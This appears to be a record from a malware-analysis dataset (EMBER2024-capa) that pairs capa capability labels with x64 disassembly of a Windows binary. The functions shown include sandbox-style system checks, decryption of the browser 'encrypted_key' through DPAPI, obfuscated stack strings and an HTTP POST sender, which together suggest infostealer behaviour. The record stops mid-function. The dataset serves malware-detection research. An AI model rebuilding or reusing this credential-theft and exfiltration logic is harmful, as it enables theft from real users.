joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002b80
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14001d220]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002ba0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002ba8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002ba0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002bf0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002be7
test rcx, rcx
je 0x140002ba0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002bd8
xor eax, eax
ret

Function at 0x140002c00
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14001d220]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002c1f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002c28
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002c40
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14001d220]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002c60
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002c68
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002c60
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002c60
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002cb4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002cc0
add rdx, 0x28
cmp r9, rdx
jne 0x140002ca0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002cd0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14001d220]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002cf2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002d00
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002cf2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002cf2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002cf2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002d55
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002d68
add rdx, 0x28
cmp r10, rdx
jne 0x140002d40
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002d77
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002d87
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002d5e
test ecx, ecx
jg 0x140002d70
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140009f84
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x88
mov dword [rsp + 0x28], 0xff
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x3c]
lea rdx, [rsp + 0x44]
lea rcx, [rsp + 0x3c]
call fcn.140009d44
mov eax, dword [rsp + 0x40]
and eax, 0x10000000
test eax, eax
je 0x140009fc8
mov byte [rsp + 0x30], 1
jmp 0x140009fcd
mov byte [rsp + 0x30], 0
mov al, byte [rsp + 0x30]
mov byte [rsp + 0x31], al
movzx eax, byte [rsp + 0x31]
test eax, eax
jne 0x140009fe2
xor al, al
jmp 0x14000a02d
mov eax, dword [rsp + 0x44]
shr eax, 0x10
and eax, 0xff
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x34], 0
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x48], eax
jle 0x14000a021
mov dword [rsp + 0x38], 1
jmp 0x14000a029
mov dword [rsp + 0x38], 0
mov al, byte [rsp + 0x38]
add rsp, 0x88
ret

Function at 0x14000db20
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x14000db4e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x14000db4e
mov dword [rsp + 0x20], 0
jmp 0x14000db56
mov dword [rsp + 0x20], 1
mov al, byte [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x14000dba4
Capabilities:
Get disk size

Disassembly:
sub rsp, 0x48
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0x40000000
xor r9d, r9d
lea r8, [rsp + 0x28]
xor edx, edx
lea rcx, [0x1401a3ab0]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x14000dbe6
mov eax, dword [rsp + 0x28]
xor edx, edx
mov ecx, 0x40000000
div rcx
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x14000dbf1
xor eax, eax
jmp 0x14000dc1c
mov eax, dword [rsp + 0x20]
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x1401ab9b0]
mulsd xmm0, qword [0x1401ab9b0]
call fcn.14007536c
cvttsd2si rax, xmm0
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x24]
add rsp, 0x48
ret

Function at 0x14000dc6c
Capabilities:
Get memory capacity

Disassembly:
push rdi
sub rsp, 0x60
lea rax, [rsp + 0x20]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov dword [rsp + 0x20], 0x40
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x28]
add rsp, 0x60
pop rdi
ret
Function at 0x14000dca4
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rcx
mov eax, 0x1158
call fcn.140065040
sub rsp, rax
lea r8, [rsp + 0x30]
mov edx, 0x1000
lea rcx, [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
jne 0x14000dcd9
xor al, al
jmp 0x14000dd83
mov eax, dword [rsp + 0x30]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x20], 0
jmp 0x14000dcff
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x20], eax
jae 0x14000dd81
mov eax, dword [rsp + 0x20]
mov r8d, dword [rsp + rax*4 + 0x150]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x14000dd7c
mov r9d, 0x104
lea r8, [rsp + 0x40]
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameA]
test eax, eax
je 0x14000dd70
mov rdx, qword [rsp + 0x1160]
lea rcx, [rsp + 0x40]
call fcn.140075110
test eax, eax
jne 0x14000dd70
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x14000dd83
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x14000dcf5
xor al, al
add rsp, 0x1158
ret

Function at 0x14000dd8c
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0x10
lea rdx, [rsp + 0x24]
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x14000ddda
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
call fcn.1400223f4
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x50]
jmp 0x14000ddf4
mov rcx, qword [rsp + 0x50]
call fcn.140022528
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x50]
add rsp, 0x48
ret
Function at 0x1400116e0
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x1158
call fcn.140065040
sub rsp, rax
lea r8, [rsp + 0x30]
mov edx, 0x1000
lea rcx, [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
jne 0x14001171a
xor al, al
jmp 0x1400117c4
mov eax, dword [rsp + 0x30]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x20], 0
jmp 0x140011740
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x20], eax
jae 0x1400117c2
mov eax, dword [rsp + 0x20]
mov r8d, dword [rsp + rax*4 + 0x150]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1400117bd
mov r9d, 0x104
lea r8, [rsp + 0x40]
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameA]
test eax, eax
je 0x1400117b1
mov rdx, qword [rsp + 0x1168]
lea rcx, [rsp + 0x40]
call fcn.14006f3e0
test eax, eax
jne 0x1400117b1
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x1400117c4
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x140011736
xor al, al
add rsp, 0x1158
ret
Function at 0x140018a20
Capabilities:
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov qword [rsp + 0x50], 0
mov rax, qword [rsp + 0x90]
mov rax, qword [rax]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x90]
mov rax, qword [rax + 8]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x58], 0
mov dword [rsp + 0x3c], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x44], 0
lea r8, [rsp + 0x50]
mov rdx, qword [rsp + 0x68]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x140018aa7
xor eax, eax
jmp 0x140018c2e
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x140018ae4
xor eax, eax
jmp 0x140018c2e
mov eax, dword [rsp + 0x3c]
mov ecx, eax
call fcn.1400767a0
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x44]
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x30], 0
jmp 0x140018b3e
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax]
cmp dword [rsp + 0x30], eax
jae 0x140018c2a
mov dword [rsp + 0x34], 0
jmp 0x140018b63
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
mov eax, 0x24
imul rax, rax, 0
mov rcx, qword [rsp + 0x48]
mov eax, dword [rcx + rax + 0x10]
cmp dword [rsp + 0x34], eax
jae 0x140018c25
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x24
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax + 4]
mov ecx, dword [rsp + 0x34]
imul rcx, rcx, 0x14
movzx eax, byte [rax + rcx + 0x10]
cmp eax, 3
jne 0x140018c20
cmp qword [rsp + 0x88], 0
je 0x140018c16
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x24
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax + 4]
mov ecx, dword [rsp + 0x34]
imul rcx, rcx, 0x14
mov rdx, qword [rsp + 0x88]
mov rax, qword [rax + rcx + 0x14]
mov qword [rdx + 8], rax
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x24
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax + 4]
mov ecx, dword [rsp + 0x34]
imul rcx, rcx, 0x14
mov eax, dword [rax + rcx + 0x1c]
mov rcx, qword [rsp + 0x88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x88]
add rax, 0x10
mov qword [rsp + 0x88], rax
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
jmp 0x140018b59
jmp 0x140018b34
mov eax, dword [rsp + 0x40]
add rsp, 0x78
ret
Function at 0x140019014
Capabilities:
Create directory
Delete directory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rcx, qword [rsp + 0x48]
call fcn.140021f40
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14001904c
mov al, 1
jmp 0x140019069
cmp dword [rsp + 0x20], 0
je 0x140019067
mov rcx, qword [rsp + 0x48]
call fcn.140021f40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
nop
xor al, al
add rsp, 0x38
ret
Function at 0x14001aa08
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x198
mov dword [rsp + 0x40], 0
mov rax, qword [rsp + 0x1a0]
mov r8, rax
lea rdx, [rsp + 0xf8]
mov rcx, qword [rsp + 0x1a0]
call fcn.14001bbf0
nop
lea rax, [rsp + 0x150]
mov qword [rsp + 0x80], rax
xor edx, edx
mov rcx, qword [rsp + 0x80]
call fcn.140020ed0
mov qword [rsp + 0x88], rax
mov byte [rsp + 0x20], 0
mov r9b, 1
mov r8, qword [rsp + 0x88]
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x70]
call fcn.140029f08
nop
lea rdx, str.os_crypt
lea rcx, [rsp + 0x70]
call fcn.14002a058
mov qword [rsp + 0x90], rax
lea rdx, str.encrypted_key
mov rcx, qword [rsp + 0x90]
call fcn.14002a058
mov qword [rsp + 0x98], rax
lea rdx, [rsp + 0xd8]
mov rcx, qword [rsp + 0x98]
call fcn.14002a098
nop
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x48]
call fcn.14002a0d4
nop
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x48]
call fcn.140021070
mov qword [rsp + 0xa0], rax
mov r8d, 5
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0xa0]
call fcn.14002095c
mov rax, qword [rax]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xb8], rax
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0x48]
call fcn.140021070
mov rax, qword [rax]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xc0], rax
mov r9, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x48]
call fcn.1400210c4
nop
lea rcx, [rsp + 0x48]
call fcn.140020f48
mov dword [rsp + 0xc8], eax
lea rcx, [rsp + 0x48]
call fcn.14001d0e8
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xc8]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x14001ac91
lea rcx, [rsp + 0x44]
call fcn.140007cb4
mov ecx, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
add rdx, rcx
mov rcx, rdx
mov r9, rax
mov r8, rcx
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x138]
call fcn.14002a134
nop
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rdx, [rsp + 0x138]
mov rcx, qword [rsp + 0x1a8]
call fcn.140020d4c
mov eax, dword [rsp + 0x40]
or eax, 1
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x138]
call fcn.14002124c
nop
lea rcx, [rsp + 0x48]
call fcn.14002124c
nop
lea rcx, [rsp + 0xd8]
call fcn.140022280
nop
lea rcx, [rsp + 0x70]
call fcn.140020ef4
nop
lea rcx, [rsp + 0xf8]
call fcn.140022280
mov rax, qword [rsp + 0x1a8]
jmp 0x14001ad13
mov rcx, qword [rsp + 0x1a8]
call fcn.14001d120
mov eax, dword [rsp + 0x40]
or eax, 1
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x48]
call fcn.14002124c
nop
lea rcx, [rsp + 0xd8]
call fcn.140022280
nop
lea rcx, [rsp + 0x70]
call fcn.140020ef4
nop
lea rcx, [rsp + 0xf8]
call fcn.140022280
mov rax, qword [rsp + 0x1a8]
jmp 0x14001ad13
add rsp, 0x198
ret
Function at 0x14001b29c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov qword [rsp + 0x30], 0x3e
mov byte [rsp + 0x38], 0x78
mov byte [rsp + 0x39], 0xd2
mov byte [rsp + 0x3a], 0xf3
mov byte [rsp + 0x3b], 0xca
mov byte [rsp + 0x3c], pe_nt_image_headers64
mov byte [rsp + 0x3d], 0x3f
mov byte [rsp + 0x3e], 0xb3
mov byte [rsp + 0x3f], 0x5c
mov byte [rsp + 0x40], 0x59
mov byte [rsp + 0x41], 0xfe
mov byte [rsp + 0x42], 0xd8
mov byte [rsp + 0x43], 0xe6
mov byte [rsp + 0x44], 0xd5
mov byte [rsp + 0x45], 0x34
mov byte [rsp + 0x46], 0xe6
mov byte [rsp + 0x47], 0x41
mov byte [rsp + 0x48], 0x47
mov byte [rsp + 0x49], 0xbb
mov byte [rsp + 0x4a], 0x9f
mov byte [rsp + 0x4b], 0xfa
mov byte [rsp + 0x4c], 0xc8
mov byte [rsp + 0x4d], 0xe
mov byte [rsp + 0x4e], 0xe1
mov byte [rsp + 0x4f], 0x5d
mov byte [rsp + 0x50], 0x4a
mov byte [rsp + 0x51], 0xfa
mov byte [rsp + 0x52], 0xda
mov byte [rsp + 0x53], 0xd0
mov byte [rsp + 0x54], 0xcd
mov byte [rsp + 0x55], 0xa
mov byte [rsp + 0x56], 0xff
mov byte [rsp + 0x57], 0x46
mov byte [rsp + 0x58], 0x4e
mov byte [rsp + 0x59], 0xbb
mov byte [rsp + 0x5a], 0x9f
mov byte [rsp + 0x5b], 0xff
mov byte [rsp + 0x5c], 0xda
mov byte [rsp + 0x5d], 0x18
mov byte [rsp + 0x5e], 0xe0
mov byte [rsp + 0x5f], 0x44
mov byte [rsp + 0x60], 0x44
mov byte [rsp + 0x61], 0xe5
mov byte [rsp + 0x62], 0xdb
mov byte [rsp + 0x63], 0xd0
mov byte [rsp + 0x64], 0xcd
mov byte [rsp + 0x65], 0xa
mov byte [rsp + 0x66], 0xff
mov byte [rsp + 0x67], 0x46
mov byte [rsp + 0x68], 0x4e
mov byte [rsp + 0x69], 0xb7
mov byte [rsp + 0x6a], 0xf9
mov byte [rsp + 0x6b], 0xdd
mov byte [rsp + 0x6c], 0xf4
mov byte [rsp + 0x6d], 0x26
mov byte [rsp + 0x6e], 0xb3
mov byte [rsp + 0x6f], 0x5f
mov byte [rsp + 0x70], 0x44
mov byte [rsp + 0x71], 0xf0
mov byte [rsp + 0x72], 0xd6
mov byte [rsp + 0x73], 0xe1
mov byte [rsp + 0x74], 0xc8
mov byte [rsp + 0x75], 0x6b
mov eax, 0x220
mov eax, eax
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x14001b46f
mov eax, 0x220
mov eax, eax
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx]
mov eax, dword [rcx + rax]
or eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword gs:[0x58]
mov ecx, 0x220
mov ecx, ecx
mov rax, qword [rax]
mov edx, dword [rsp + 0x20]
mov dword [rcx + rax], edx
mov eax, 0x1e0
mov eax, eax
mov rcx, qword gs:[0x58]
add rax, qword [rcx]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x28]
call fcn.14001ceb4
lea rcx, [0x14018f568]
call fcn.140064bf0
nop
mov eax, 0x1e0
mov eax, eax
mov rcx, qword gs:[0x58]
add rax, qword [rcx]
add rsp, 0x88
ret
Function at 0x14001b48c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp], 0
jmp 0x14001b4b4
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
mov rax, qword [rsp + 0x28]
cmp qword [rsp], rax
jae 0x14001b510
xor edx, edx
mov rax, qword [rsp]
mov ecx, 8
div rcx
mov rax, rdx
shl rax, 3
mov cl, al
mov rax, qword [rsp + 0x30]
shr rax, cl
and rax, 0xff
movsx eax, al
mov rcx, qword [rsp]
mov rdx, qword [rsp + 0x20]
add rdx, rcx
mov rcx, rdx
movsx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp]
mov rdx, qword [rsp + 0x20]
add rdx, rcx
mov rcx, rdx
mov byte [rcx], al
jmp 0x14001b4a9
add rsp, 0x18
ret

Function at 0x14001baf8
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov dword [rsp + 0x40], 0
mov rcx, qword [rsp + 0xb0]
call fcn.140021f40
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0xb0]
call fcn.140021b40
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x58]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x14001bbbf
mov eax, dword [rsp + 0x48]
mov r8d, eax
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x68]
call fcn.14002244c
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rdx, [rsp + 0x68]
mov rcx, qword [rsp + 0xa8]
call fcn.140022328
mov eax, dword [rsp + 0x40]
or eax, 1
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x68]
call fcn.140022280
mov rax, qword [rsp + 0xa8]
jmp 0x14001bbe6
lea rdx, [0x14019c500]
mov rcx, qword [rsp + 0xa8]
call fcn.1400223f4
mov eax, dword [rsp + 0x40]
or eax, 1
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0xa8]
add rsp, 0x98
ret
Function at 0x14001bcf8
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x80
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x40]
call fcn.14001beb4
mov rcx, rax
call fcn.14001cbdc
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x41]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x41]
call fcn.14001c22c
mov rcx, rax
call fcn.14001cb14
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8w, 0x1bb
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x42]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x42]
call fcn.14001c31c
mov rcx, rax
call fcn.14001ca4c
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.POST
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x43]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x43]
call fcn.14001c5fc
mov rcx, rax
call fcn.14001c984
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x98]
call fcn.140021b40
mov dword [rsp + 0x44], eax
mov rcx, qword [rsp + 0x98]
call fcn.140021f40
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x50]
call fcn.14006fdb0
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x70]
mov r8d, dword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
add rsp, 0x80
pop rdi
ret
Function at 0x14001c5fc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov qword [rsp + 0x30], 0x21
mov byte [rsp + 0x38], 0x28
mov byte [rsp + 0x39], 0xd4
mov byte [rsp + 0x3a], 0xa5
mov byte [rsp + 0x3b], 0x2d
mov byte [rsp + 0x3c], 8
mov byte [rsp + 0x3d], 0x29
mov byte [rsp + 0x3e], 0x3d
mov byte [rsp + 0x3f], 0xe0
mov byte [rsp + 0x40], 0x3f
mov byte [rsp + 0x41], 0xc2
mov byte [rsp + 0x42], 0xbb
mov byte [rsp + 0x43], 0x3c
mov byte [rsp + 0x44], 0x57
mov byte [rsp + 0x45], 0x67
mov byte [rsp + 0x46], 0x28
mov byte [rsp + 0x47], 0xbd
mov byte [rsp + 0x48], 0x1b
mov byte [rsp + 0x49], 0xd7
mov byte [rsp + 0x4a], 0xa2
mov byte [rsp + 0x4b], 0x3a
mov byte [rsp + 0x4c], 0xc
mov byte [rsp + 0x4d], 0x33
mov byte [rsp + 0x4e], 0x20
mov byte [rsp + 0x4f], 0xa2
mov byte [rsp + 0x50], 5
mov byte [rsp + 0x51], 0x94
mov byte [rsp + 0x52], 0xa1
mov byte [rsp + 0x53], 0x2a
mov byte [rsp + 0x54], 2
mov byte [rsp + 0x55], 0x29
mov byte [rsp + 0x56], 0x44
mov byte [rsp + 0x57], 0xc7
mov byte [rsp + 0x58], 0x6b
mov eax, 0x13c
mov eax, eax
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x14001c73b
mov eax, 0x13c
mov eax, eax
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx]
mov eax, dword [rcx + rax]
or eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword gs:[0x58]
mov ecx, 0x13c
mov ecx, ecx
mov rax, qword [rax]
mov edx, dword [rsp + 0x20]
mov dword [rcx + rax], edx
mov eax, 0x228
mov eax, eax
mov rcx, qword gs:[0x58]
add rax, qword [rcx]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x28]
call fcn.14001c9e4
